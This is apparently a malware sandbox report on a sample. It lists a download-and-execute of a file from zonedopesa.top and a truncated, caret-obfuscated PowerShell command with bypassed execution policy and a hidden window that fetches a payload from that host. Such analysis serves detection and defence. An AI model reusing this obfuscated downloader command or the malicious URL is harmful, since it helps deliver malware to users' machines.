Technical Information
Malicious functions
Downloads and executes
- http://www.zonedopesa.top/read.php?f=1.gif as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C "POwERSHeLL.EXe -EXECU^tIon^POlIc^y B^Y^pas^s ^-NopRofIlE^ ^-W^iNdOWSTYLe^ ^HI^D^de^n^ (^ne^w-^Ob^jeC^T SYSt^Em.Ne^T.WeBcL^ieNt).dO^w^N^LO^ADFIlE^(^'http://www.zonedopesa.top/re...
Network activity
UDP
- DNS ASK zo###opesa.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C "POwERSHeLL.EXe -EXECU^tIon^POlIc^y B^Y^pas^s ^-NopRofIlE^ ^-W^iNdOWSTYLe^ ^HI^D^de^n^ (^ne^w-^Ob^jeC^T SYSt^Em.Ne^T.WeBcL^ieNt).dO^w^N^LO^ADFIlE^(^'http://www.zonedopesa.top/re...' (with hidden window)
